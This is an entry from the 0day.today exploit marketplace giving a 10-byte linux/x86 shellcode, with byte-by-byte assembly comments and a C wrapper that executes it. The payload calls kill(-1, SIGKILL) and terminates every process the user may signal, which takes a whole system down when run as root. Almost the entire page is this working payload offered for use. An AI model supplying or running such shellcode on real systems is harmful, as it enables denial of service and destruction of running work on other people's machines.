[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 kill(-1, SIGKILL) - 10 bytes

Author
Febriyanto Nugroho
Risk
[
Security Risk Low
]
0day-ID
0day-ID-23594
Category
shellcode
Date add
05-05-2015
Platform
linux/x86
// linux/x86 kill(-1, SIGKILL) - 10 bytes
// Febriyanto Nugroho

#include <stdio.h>

char shellcode[] = "\x6a\x25" 	\\ push   $0x25
                   "\x58" 	\\ pop    %eax
                   "\x6a\xff" 	\\ push   $0xffffffff = -1
                   "\x5b" 	\\ pop    %ebx
                   "\xb1\x09" 	\\ mov    $0x9,%cl
                   "\xcd\x80"; 	\\ int    $0x80

int main(int argc, char **argv) {
asm("jmp %0;" : "=m" (shellcode));
}

#  0day.today [2024-12-23]  #